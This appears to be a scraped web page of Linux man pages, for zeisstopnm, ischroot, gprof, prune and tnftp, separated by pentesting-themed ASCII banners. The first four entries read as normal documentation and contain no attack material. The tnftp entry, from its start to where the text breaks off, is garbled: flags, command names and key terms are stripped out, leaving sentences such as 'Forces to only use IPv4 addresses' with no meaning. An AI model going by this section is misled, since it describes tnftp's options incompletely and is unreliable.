➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command zeisstopnm and provides detailed information about the command zeisstopnm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the zeisstopnm.

.

NAME 🖥️ zeisstopnm 🖥️

convert a Zeiss confocal file to PNM

SYNOPSIS

zeisstopnm

[-pgm | -ppm]

[zeissfile]

DESCRIPTION

This program is part of Netpbm(1) .

zeisstopnm reads a Zeiss confocal file as input and produces a PNM image as output.

By default, the exact type of the output depends on the input file: If it’s grayscale a PGM image; otherwise a PPM. The program tells you which type it is writing. You can override the default with the -pgm and -ppm options.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), zeisstopnm recognizes the following command line options:

-pgm
Force the output to be in PGM format.

-ppm
Force the output to be in PPM format.

SEE ALSO

pnm(1)

AUTHOR

Copyright (C) 1993 by Oliver Trepte

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/zeisstopnm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1189 - Linux cli command ischroot

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ischroot and provides detailed information about the command ischroot, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ischroot.

NAME 🖥️ ischroot 🖥️

detect if running in a chroot

SYNOPSIS

ischroot [–default-false] [–default-true] [–help] [–version]

DESCRIPTION

ischroot detects if it is currently running in a chroot. The exit status is:

0
if currently running in a chroot

1
if currently not running in a chroot

2
if the detection is not possible.

OPTIONS

-f, –default-false
Exit with status 1 if the detection is not possible.

-t, –default-true
Exit with status 0 if the detection is not possible.

–help
Print a usage message on standard output and exit successfully.

–version
Print version information on standard output and exit successfully.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1190 - Linux cli command i686-w64-mingw32-gprof

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command i686-w64-mingw32-gprof and provides detailed information about the command i686-w64-mingw32-gprof, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the i686-w64-mingw32-gprof.

NAME 🖥️ i686-w64-mingw32-gprof 🖥️

display call graph profile data

SYNOPSIS

gprof [ -[abcDhilLrsTvwxyz] ] [ -[ABCeEfFJnNOpPqQRStZ][name] ] [ -I dirs ] [ -d[num] ] [ -k from/to ] [ -m min-count ] [ -R map_file ] [ -t table-length ] [ –[no-]annotated-source[=name] ] [ –[no-]exec-counts[=name] ] [ –[no-]flat-profile[=name] ] [ –[no-]graph[=name] ] [ –[no-]time=name] [ –all-lines ] [ –brief ] [ –debug[=level] ] [ –function-ordering ] [ –file-ordering map_file ] [ –directory-path=dirs ] [ –display-unused-functions ] [ –file-format=name ] [ –file-info ] [ –help ] [ –line ] [ –inline-file-names ] [ –min-count=n ] [ –no-static ] [ –print-path ] [ –separate-files ] [ –static-call-graph ] [ –sum ] [ –table-length=len ] [ –traditional ] [ –version ] [ –width=n ] [ –ignore-non-functions ] [ –demangle[=STYLE] ] [ –no-demangle ] [–external-symbol-table=name] [ image-file ] [ profile-file … ]

DESCRIPTION

gprof produces an execution profile of C, Pascal, or Fortran77 programs. The effect of called routines is incorporated in the profile of each caller. The profile data is taken from the call graph profile file (gmon.out default) which is created by programs that are compiled with the -pg option of cc, pc, and f77. The -pg option also links in versions of the library routines that are compiled for profiling. Gprof reads the given object file (the default is a.out) and establishes the relation between its symbol table and the call graph profile from gmon.out. If more than one profile file is specified, the gprof output shows the sum of the profile information in the given profile files.

If you use gcc 2.95.x or 3.0 to compile your binaries, you may need to add the -fprofile-arcs to the compile command line in order for the call graphs to be properly stored in gmon.out.

Gprof calculates the amount of time spent in each routine. Next, these times are propagated along the edges of the call graph. Cycles are discovered, and calls into a cycle are made to share the time of the cycle.

Several forms of output are available from the analysis.

The flat profile shows how much time your program spent in each function, and how many times that function was called. If you simply want to know which functions burn most of the cycles, it is stated concisely here.

The call graph shows, for each function, which functions called it, which other functions it called, and how many times. There is also an estimate of how much time was spent in the subroutines of each function. This can suggest places where you might try to eliminate function calls that use a lot of time.

The annotated source listing is a copy of the program’s source code, labeled with the number of times each line of the program was executed.

OPTIONS

These options specify which of several output formats gprof should produce.

Many of these options take an optional symspec to specify functions to be included or excluded. These options can be specified multiple times, with different symspecs, to include or exclude sets of symbols.

Specifying any of these options overrides the default (-p -q), which prints a flat profile and call graph analysis for all functions.

“-A[symspec]”

“–annotated-source[=symspec]”

The -A option causes gprof to print annotated source code. If symspec is specified, print output only for matching symbols.

“-b”

“–brief”

If the -b option is given, gprof doesn’t print the verbose blurbs that try to explain the meaning of all of the fields in the tables. This is useful if you intend to print out the output, or are tired of seeing the blurbs.

“-B”
The -B option causes gprof to print the call graph analysis.

“-C[symspec]”

“–exec-counts[=symspec]”

The -C option causes gprof to print a tally of functions and the number of times each was called. If symspec is specified, print tally only for matching symbols. If the profile data file contains basic-block count records, specifying the -l option, along with -C, will cause basic-block execution counts to be tallied and displayed.

“-i”

“–file-info”

The -i option causes gprof to display summary information about the profile data file(s) and then exit. The number of histogram, call graph, and basic-block count records is displayed.

“-I dirs”

“–directory-path=dirs”

The -I option specifies a list of search directories in which to find source files. Environment variable GPROF_PATH can also be used to convey this information. Used mostly for annotated source output.

“-J[symspec]”

“–no-annotated-source[=symspec]”

The -J option causes gprof not to print annotated source code. If symspec is specified, gprof prints annotated source, but excludes matching symbols.

“-L”

“–print-path”

Normally, source filenames are printed with the path component suppressed. The -L option causes gprof to print the full pathname of source filenames, which is determined from symbolic debugging information in the image file and is relative to the directory in which the compiler was invoked.

“-p[symspec]”

“–flat-profile[=symspec]”

The -p option causes gprof to print a flat profile. If symspec is specified, print flat profile only for matching symbols.

“-P[symspec]”

“–no-flat-profile[=symspec]”

The -P option causes gprof to suppress printing a flat profile. If symspec is specified, gprof prints a flat profile, but excludes matching symbols.

“-q[symspec]”

“–graph[=symspec]”

The -q option causes gprof to print the call graph analysis. If symspec is specified, print call graph only for matching symbols and their children.

“-Q[symspec]”

“–no-graph[=symspec]”

The -Q option causes gprof to suppress printing the call graph. If symspec is specified, gprof prints a call graph, but excludes matching symbols.

“-t”

“–table-length=num”

The -t option causes the num most active source lines in each source file to be listed when source annotation is enabled. The default is 10.

“-y”

“–separate-files”

This option affects annotated source output only. Normally, gprof prints annotated source files to standard-output. If this option is specified, annotated source for a file named path/filename is generated in the file filename-ann. If the underlying file system would truncate filename-ann so that it overwrites the original filename, gprof generates annotated source in the file filename.ann instead (if the original file name has an extension, that extension is replaced with .ann).

“-Z[symspec]”

“–no-exec-counts[=symspec]”

The -Z option causes gprof not to print a tally of functions and the number of times each was called. If symspec is specified, print tally, but exclude matching symbols.

“-r”

“–function-ordering”

The –function-ordering option causes gprof to print a suggested function ordering for the program based on profiling data. This option suggests an ordering which may improve paging, tlb and cache behavior for the program on systems which support arbitrary ordering of functions in an executable. The exact details of how to force the linker to place functions in a particular order is system dependent and out of the scope of this manual.

“-R map_file”

“–file-ordering map_file”

The –file-ordering option causes gprof to print a suggested .o link line ordering for the program based on profiling data. This option suggests an ordering which may improve paging, tlb and cache behavior for the program on systems which do not support arbitrary ordering of functions in an executable. Use of the -a argument is highly recommended with this option. The map_file argument is a pathname to a file which provides function name to object file mappings. The format of the file is similar to the output of the program nm. c-parse.o:00000000 T yyparse c-parse.o:00000004 C yyerrflag c-lang.o:00000000 T maybe_objc_method_name c-lang.o:00000000 T print_lang_statistics c-lang.o:00000000 T recognize_objc_keyword c-decl.o:00000000 T print_lang_identifier c-decl.o:00000000 T print_lang_type … To create a map_file with GNU nm, type a command like nm --extern-only --defined-only -v --print-file-name program-name.

“-T”

“–traditional”

The -T option causes gprof to print its output in “traditional” BSD style.

“-w width”

“–width=width”

Sets width of output lines to width. Currently only used when printing the function index at the bottom of the call graph.

“-x”

“–all-lines”

This option affects annotated source output only. By default, only the lines at the beginning of a basic-block are annotated. If this option is specified, every line in a basic-block is annotated by repeating the annotation for the first line. This behavior is similar to tcov’s -a.

“–demangle[=style]”

“–no-demangle”

These options control whether C++ symbol names should be demangled when printing output. The default is to demangle symbols. The --no-demangle option may be used to turn off demangling. Different compilers have different mangling styles. The optional demangling style argument can be used to choose an appropriate demangling style for your compiler.

Analysis Options

“-a”

“–no-static”

The -a option causes gprof to suppress the printing of statically declared (private) functions. (These are functions whose names are not listed as global, and which are not visible outside the file/function/block where they were defined.) Time spent in these functions, calls to/from them, etc., will all be attributed to the function that was loaded directly before it in the executable file. This option affects both the flat profile and the call graph.

“-c”

“–static-call-graph”

The -c option causes the call graph of the program to be augmented by a heuristic which examines the text space of the object file and identifies function calls in the binary machine code. Since normal call graph records are only generated when functions are entered, this option identifies children that could have been called, but never were. Calls to functions that were not compiled with profiling enabled are also identified, but only if symbol table entries are present for them. Calls to dynamic library routines are typically not found by this option. Parents or children identified via this heuristic are indicated in the call graph with call counts of 0.

“-D”

“–ignore-non-functions”

The -D option causes gprof to ignore symbols which are not known to be functions. This option will give more accurate profile data on systems where it is supported (Solaris and HPUX for example).

“-k from/to”
The -k option allows you to delete from the call graph any arcs from symbols matching symspec from to those matching symspec to.

“-l”

“–line”

The -l option enables line-by-line profiling, which causes histogram hits to be charged to individual source code lines, instead of functions. This feature only works with programs compiled by older versions of the gcc compiler. Newer versions of gcc are designed to work with the gcov tool instead. If the program was compiled with basic-block counting enabled, this option will also identify how many times each line of code was executed. While line-by-line profiling can help isolate where in a large function a program is spending its time, it also significantly increases the running time of gprof, and magnifies statistical inaccuracies.

“–inline-file-names”
This option causes gprof to print the source file after each symbol in both the flat profile and the call graph. The full path to the file is printed if used with the -L option.

“-m num”

“–min-count=num”

This option affects execution count output only. Symbols that are executed less than num times are suppressed.

“-nsymspec”

“–time=symspec”

The -n option causes gprof, in its call graph analysis, to only propagate times for symbols matching symspec.

“-Nsymspec”

“–no-time=symspec”

The -n option causes gprof, in its call graph analysis, not to propagate times for symbols matching symspec.

“-Sfilename”

“–external-symbol-table=filename”

The -S option causes gprof to read an external symbol table file, such as /proc/kallsyms, rather than read the symbol table from the given object file (the default is a.out). This is useful for profiling kernel modules.

“-z”

“–display-unused-functions”

If you give the -z option, gprof will mention all functions in the flat profile, even those that were never called, and that had no time spent in them. This is useful in conjunction with the -c option for discovering which routines were never called.

Miscellaneous Options

“-d[num]”

“–debug[=num]”

The -d num option specifies debugging options. If num is not specified, enable all debugging.

“-h”

“–help”

The -h option prints command line usage.

“-Oname”

“–file-format=name”

Selects the format of the profile data files. Recognized formats are auto (the default), bsd, 4.4bsd, magic, and prof (not yet supported).

“-s”

“–sum”

The -s option causes gprof to summarize the information in the profile data files it read in, and write out a profile data file called gmon.sum, which contains all the information from the profile data files that gprof read in. The file gmon.sum may be one of the specified input files; the effect of this is to merge the data in the other input files into gmon.sum. Eventually you can run gprof again without -s to analyze the cumulative data in the file gmon.sum.

“-v”

“–version”

The -v flag causes gprof to print the current version number, and then exit.

Deprecated Options

These options have been replaced with newer versions that use symspecs.

“-e function_name”
The -e function option tells gprof to not print information about the function function_name (and its children…) in the call graph. The function will still be listed as a child of any functions that call it, but its index number will be shown as [not printed]. More than one -e option may be given; only one function_name may be indicated with each -e option.

“-E function_name”
The -E function option works like the -e option, but time spent in the function (and children who were not called from anywhere else), will not be used to compute the percentages-of-time for the call graph. More than one -E option may be given; only one function_name may be indicated with each -E option.

“-f function_name”
The -f function option causes gprof to limit the call graph to the function function_name and its children (and their children…). More than one -f option may be given; only one function_name may be indicated with each -f option.

“-F function_name”
The -F function option works like the -f option, but only time spent in the function and its children (and their children…) will be used to determine total-time and percentages-of-time for the call graph. More than one -F option may be given; only one function_name may be indicated with each -F option. The -F option overrides the -E option.

FILES

“a.out”
the namelist and text space.

“gmon.out”
dynamic call graph and profile.

“gmon.sum”
summarized dynamic call graph and profile.

BUGS

The granularity of the sampling is shown, but remains statistical at best. We assume that the time for each execution of a function can be expressed by the total time for the function divided by the number of times the function is called. Thus the time propagated along the call graph arcs to the function’s parents is directly proportional to the number of times that arc is traversed.

Parents that are not themselves profiled will have the time of their profiled children propagated to them, but they will appear to be spontaneously invoked in the call graph listing, and will not have their time propagated further. Similarly, signal catchers, even though profiled, will appear to be spontaneous (although for more obscure reasons). Any profiled children of signal catchers should have their times propagated properly, unless the signal catcher was invoked during the execution of the profiling routine, in which case all is lost.

The profiled program must call exit(2) or return normally for the profiling information to be saved in the gmon.out file.

SEE ALSO

cc (1), prof (1), and the Info entry for gprof.

“An Execution Profiler for Modular Programs”, by S. Graham, P. Kessler, M. McKusick; Software - Practice and Experience, Vol. 13, pp. 671-685, 1983.

“gprof: A Call Graph Execution Profiler”, by S. Graham, P. Kessler, M. McKusick; Proceedings of the SIGPLAN ‘82 Symposium on Compiler Construction, SIGPLAN Notices, Vol. 17, No 6, pp. 120-126, June 1982.

COPYRIGHT

Copyright (c) 1988-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1191 - Linux cli command prune

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command prune and provides detailed information about the command prune, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the prune.

NAME 🖥️ prune 🖥️

Prune directed graphs

SYNOPSIS

prune [ -n* node* ] [ -N* attrspec* ] [ -v ] [ -(h|?) ] [ files … ]

DESCRIPTION

prune reads directed graphs in the same format used by dot(1) and removes subgraphs rooted at nodes specified on the command line via options. These nodes themselves will not be removed, but can be given attributes so that they can be easily located by a graph stream editor such as gvpr(1). prune correctly handles cycles, loops and multi‐edges.

Both options can appear multiple times on the command line. All subgraphs rooted at the respective nodes given will then be processed. If a node does not exist, prune will skip it and print a warning message to stderr. If multiple attributes are given, they will be applied to all nodes that have been processed. prune writes the result to the stdout.

OPTIONS

-n* name*
Specifies name of node to prune.

-N* attrspec*
Specifies attribute that will be set (or changed if it exists) for any pruned node. attrspec is a string of the form attr=value.

-v
Verbose output.

-h -?
Prints the usage and exits.

EXAMPLES

An input graph test.gv of the form

digraph DG {
A -> B;
A -> C;

B -> D;
B -> E;
}

, processed by the command

prune -n B test.gv

would produce the following output (the actual code might be formatted in a slightly different way).

digraph DG {
A -> B;
A -> C;
}

Another input graph test.gv of the form

digraph DG {
A -> B;
A -> C;

B -> D;
B -> E;

C -> E;
}

(note the additional edge from C to E ), processed by the command

prune -n B -N color=red test.gv

results in

digraph DG {
B [color=red];
A -> B;
A -> C;
C -> E;
}

Node E has not been removed since its second parent C is not being pruned.

EXIT STATUS

prune returns 0 on successful completion. It returns 1 if an error occurs.

SEE ALSO

dot(1), gvpr(1)

AUTHOR

Marcus Harnisch <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1192 - Linux cli command tnftp

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command tnftp and provides detailed information about the command tnftp, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the tnftp.

is the user interface to the Internet standard File Transfer Protocol. The program allows a user to transfer files to and from a remote network site.

The last five arguments will fetch a file using the

or

protocols, or by direct copying, into the current directory. This is ideal for scripts. Refer to

below for more information.

Options may be specified at the command line, or to the command interpreter.

Forces

to only use IPv4 addresses.

Forces

to only use IPv6 addresses.

Force active mode

By default,

will try to use passive mode

and fall back to active mode if passive is not supported by the server. This option causes

to always use an active connection. It is only useful for connecting to very old servers that do not implement passive mode properly.

Causes

to bypass normal login procedure, and use an anonymous login instead.

Enables debugging.

Disables command line editing. This is useful for Emacs ange-ftp mode.

Forces a cache reload for transfers that go through the

or

proxies.

Disables file name globbing.

Turns off interactive prompting during multiple file transfers.

Use

instead of

Refer to

for more information.

Restrains

from attempting

upon initial connection for non auto-fetch transfers. If auto-login is enabled,

will check the

(see below) file in the user’s home directory for an entry describing an account on the remote machine. If no entry exists,

will prompt for the remote machine login name

and, if necessary, prompt for a password and an account with which to login. To override the auto-login for auto-fetch transfers, specify the username

as appropriate.

When auto-fetching files, save the contents in

is parsed according to the

below. If

is not

or doesn’t start with

then only the first file specified will be retrieved into

all other files will be retrieved into the basename of their remote name.

Sets the port number to

Enable passive mode operation for use behind connection filtering firewalls. This option has been deprecated as

now tries to use passive mode by default, falling back to active mode if the server does not support passive connections.

Quit if the connection has stalled for

seconds.

Restart all non-proxied auto-fetches.

Retry the connection attempt if it failed, pausing for

seconds.

Uses

as the local IP address for all connections.

Enables packet tracing.

Set the maximum transfer rate for

to

bytes/second, and if specified, the increment to

bytes/second. Refer to

for more information.

Upload files on the command line to

where

is one of the

URL types as supported by auto-fetch

and

is one or more local files to be uploaded.

Disable

and

overriding the default of enabled when output is to a terminal.

Enable

and

This is the default if output is to a terminal

and in the case of

is the foreground process

Forces

to show all responses from the remote server, as well as report on data transfer statistics.

Set the size of the socket send and receive buffers to

Refer to

for more information.

Display help to stdout, and exit.

The client host with which

is to communicate may be specified on the command line. If this is done,

will immediately attempt to establish a connection to an

server on that host; otherwise,

will enter its command interpreter and await instructions from the user. When

is awaiting commands from the user the prompt

is provided to the user. The following commands are recognized by

Invoke an interactive shell on the local machine. If there are arguments, the first is taken to be a command to execute directly, with the rest of the arguments as its arguments.

Execute the macro

that was defined with the

command. Arguments are passed to the macro unglobbed.

Supply a supplemental password required by a remote system for access to resources once a login has been successfully completed. If no argument is included, the user will be prompted for an account password in a non-echoing input mode.

Append a local file to a file on the remote machine. If

is left unspecified, the local file name is used in naming the remote file after being altered by any

or

setting. File transfer uses the current settings for

and

Set the file transfer

to network

This is the default type.

Arrange that a bell be sounded after each file transfer command is completed.

Set the file transfer

to support binary image transfer.

Terminate the

session with the remote server and exit

An end of file will also terminate the session and exit.

Toggle remote computer file name case mapping during

and

commands. When

is on (default is off), remote computer file names with all letters in upper case are written in the local directory with the letters mapped to lower case.

Change the working directory on the remote machine to

Change the remote machine working directory to the parent of the current remote machine working directory.

Change the permission modes of the file

on the remote system to

Terminate the

session with the remote server, and return to the command interpreter. Any defined macros are erased.

Toggle carriage return stripping during ascii type file retrieval. Records are denoted by a carriage return/linefeed sequence during ascii type file transfer. When

is on (the default), carriage returns are stripped from this sequence to conform with the

single linefeed record delimiter. Records on

remote systems may contain single linefeeds; when an ascii type transfer is made, these linefeeds may be distinguished from a record delimiter only when

is off.

Toggle debugging mode. If an optional

is specified it is used to set the debugging level. When debugging is on,

prints each command sent to the remote machine, preceded by the string

Delete the file

on the remote machine.

Print a listing of the contents of a directory on the remote machine. The listing includes any system-dependent information that the server chooses to include; for example, most

systems will produce output from the command

If

is left unspecified, the current working directory is used. If interactive prompting is on,

will prompt the user to verify that the last argument is indeed the target local file for receiving

output. If no local file is specified, or if

is

the output is sent to the terminal.

A synonym for

Toggle command line editing, and context sensitive command and file completion. This is automatically enabled if input is from a terminal, and disabled otherwise.

Toggle the use of the extended

and

commands on all IP, IPv4, and IPv6 connections respectively. First try

and then

This is enabled by default. If an extended command fails then this option will be temporarily disabled for the duration of the current connection, or until

or

is executed again.

A synonym for

Display what features the remote server supports

Retrieve the files listed in

which has one line per filename.

Set the file transfer

to

The default (and only supported) format is

A synonym for

Toggle gate-ftp mode, which used to connect through the TIS FWTK and Gauntlet

proxies. This will not be permitted if the gate-ftp server hasn’t been set

either explicitly by the user, or from the

environment variable

If

is given, then gate-ftp mode will be enabled, and the gate-ftp server will be set to

If

is also given, that will be used as the port to connect to on the gate-ftp server.

Retrieve the

and store it on the local machine. If the local file name is not specified, it is given the same name it has on the remote machine, subject to alteration by the current

and

settings. The current settings for

and

are used while transferring the file.

Toggle filename expansion for

and

If globbing is turned off with

the file name arguments are taken literally and not expanded. Globbing for

is done as in

For

and

each remote file name is expanded separately on the remote machine and the lists are not merged. Expansion of a directory name is likely to be different from expansion of the name of an ordinary file: the exact result depends on the foreign operating system and

server, and can be previewed by doing

Note:

and

are not meant to transfer entire directory subtrees of files. That can be done by transferring a

archive of the subtree (in binary mode).

Toggle hash-sign

printing for each data block transferred. The size of a data block defaults to 1024 bytes. This can be changed by specifying

in bytes. Enabling

disables

Print an informative message about the meaning of

If no argument is given,

prints a list of the known commands.

Set the inactivity timer on the remote server to

seconds. If

is omitted, the current inactivity timer is printed.

A synonym for

Change the working directory on the local machine. If no

is specified, the user’s home directory is used.

A synonym for

Display

with the program specified by the

option.

Print the working directory on the local machine.

A synonym for

Define a macro. Subsequent lines are stored as the macro

a null line

consecutive newline characters in a file or carriage returns from the terminal

terminates macro input mode. There is a limit of 16 macros and 4096 total characters in all defined macros. Macro names can be a maximum of 8 characters. Macros are only applicable to the current session they are defined within

or if defined outside a session, to the session invoked with the next

command

and remain defined until a

command is executed. To invoke a macro, use the

command (see above).

The macro processor interprets

and

as special characters. A

followed by a number (or numbers) is replaced by the corresponding argument on the macro invocation command line. A

followed by an

signals the macro processor that the executing macro is to be looped. On the first pass

is replaced by the first argument on the macro invocation command line, on the second pass it is replaced by the second argument, and so on. A

followed by any character is replaced by that character. Use the

to prevent special treatment of the

Delete the

on the remote machine.

Like

except multiple remote files may be specified. If interactive prompting is on,

will prompt the user to verify that the last argument is indeed the target local file for receiving

output.

Expand the

on the remote machine and do a

for each file name thus produced. See

for details on the filename expansion. Resulting file names will then be processed according to

and

settings. Files are transferred into the local working directory, which can be changed with

new local directories can be created with

Make a directory on the remote machine.

Like

except multiple remote files may be specified, and the

must be specified. If interactive prompting is on,

will prompt the user to verify that the last argument is indeed the target local file for receiving

output.

Display the contents of

in a machine-parsable form, using

The format of display can be changed with

Display the details about

in a machine-parsable form, using

The format of display can be changed with

Set the file transfer

to

The default

mode is

Show the last modification time of the file on the remote machine, in

format.

A synonym for

Expand wild cards in the list of local files given as arguments and do a

for each file in the resulting list. See

for details of filename expansion. Resulting file names will then be processed according to

and

settings.

As per

but performs a

instead of

A synonym for

Get the file only if the modification time of the remote file is more recent that the file on the current system. If the file does not exist on the current system, the remote file is considered

Otherwise, this command is identical to

A synonym for

Set or unset the filename mapping mechanism. If no arguments are specified, the filename mapping mechanism is unset. If arguments are specified, remote filenames are mapped during

commands and

commands issued without a specified remote target filename. If arguments are specified, local filenames are mapped during

commands and

commands issued without a specified local target filename. This command is useful when connecting to a

remote computer with different file naming conventions or practices. The mapping follows the pattern set by

and

is a template for incoming filenames

which may have already been processed according to the

and

settings

Variable templating is accomplished by including the sequences

… ,

in

Use

to prevent this special treatment of the

character. All other characters are treated literally, and are used to determine the

variable values. For example, given

and the remote file name

would have the value

and

would have the value

The

determines the resulting mapped filename. The sequences

… ,

are replaced by any value resulting from the

template. The sequence

is replaced by the original filename. Additionally, the sequence

is replaced by

if

is not a null string; otherwise it is replaced by

For example, the command

would yield the output filename

for input filenames

and

for the input filename

and

for the input filename

Spaces may be included in

as in the example:

Use the

character to prevent special treatment of the

and

characters.

Set or unset the filename character translation mechanism. If no arguments are specified, the filename character translation mechanism is unset. If arguments are specified, characters in remote filenames are translated during

commands and

commands issued without a specified remote target filename. If arguments are specified, characters in local filenames are translated during

commands and

commands issued without a specified local target filename. This command is useful when connecting to a

remote computer with different file naming conventions or practices. Characters in a filename matching a character in

are replaced with the corresponding character in

If the character’s position in

is longer than the length of

the character is deleted from the file name.

Establish a connection to the specified

server. An optional port number may be supplied, in which case,

will attempt to contact an

server at that port. If the

option is on (default),

will also attempt to automatically log the user in to the

server (see below).

Retrieve

and display with the program specified by the

option.

Toggle passive mode (if no arguments are given). If

is given, act as if

is set to

If passive mode is turned on (default),

will send a

command for all data connections instead of a

command. The

command requests that the remote server open a port for the data connection and return the address of that port. The remote server listens on that port and the client connects to it. When using the more traditional

command, the client listens on a port and sends that address to the remote server, who connects back to it. Passive mode is useful when using

through a gateway router or host that controls the directionality of traffic.

Note that though

servers are required to support the

command by

some do not.

Perform

and display the result with the program specified by the

option.

Perform

and display the result with the program specified by the

option.

Perform

and display the result with the program specified by the

option.

Toggle preservation of modification times on retrieved files.

Toggle display of transfer progress bar. The progress bar will be disabled for a transfer that has

as

or a command that starts with

Refer to

for more information. Enabling

disables

Toggle interactive prompting. Interactive prompting occurs during multiple file transfers to allow the user to selectively retrieve or store files. If prompting is turned off (default is on), any

or

will transfer all files, and any

will delete all files.

When prompting is on, the following commands are available at a prompt:

Answer

to the current file, and automatically answer

to any remaining files for the current command.

Answer

and do not transfer the file.

Answer

to the current file, and turn off prompt mode

as if

had been given

Terminate the current operation.

Answer

and transfer the file.

Display a help message.

Any other response will answer

to the current file.

Execute an

command on a secondary control connection. This command allows simultaneous connection to two remote

servers for transferring files between the two servers. The first

command should be an

to establish the secondary control connection. Enter the command

to see other

commands executable on the secondary connection. The following commands behave differently when prefaced by

will not define new macros during the auto-login process,

will not erase existing macro definitions,

and

transfer files from the host on the primary control connection to the host on the secondary control connection, and

and

transfer files from the host on the secondary control connection to the host on the primary control connection. Third party file transfers depend upon support of the

protocol

command by the server on the secondary control connection.

Store a local file on the remote machine. If

is left unspecified, the local file name is used after processing according to any

or

settings in naming the remote file. File transfer uses the current settings for

and

Print the name of the current working directory on the remote machine.

A synonym for

The arguments specified are sent, verbatim, to the remote

server.

Throttle the maximum transfer rate to

bytes/second. If

is 0, disable the throttle.

may be one of:

Both directions.

Incoming transfers.

Outgoing transfers.

can be modified on the fly by

bytes (default: 1024) each time a given signal is received:

Increment

by

bytes.

Decrement

by

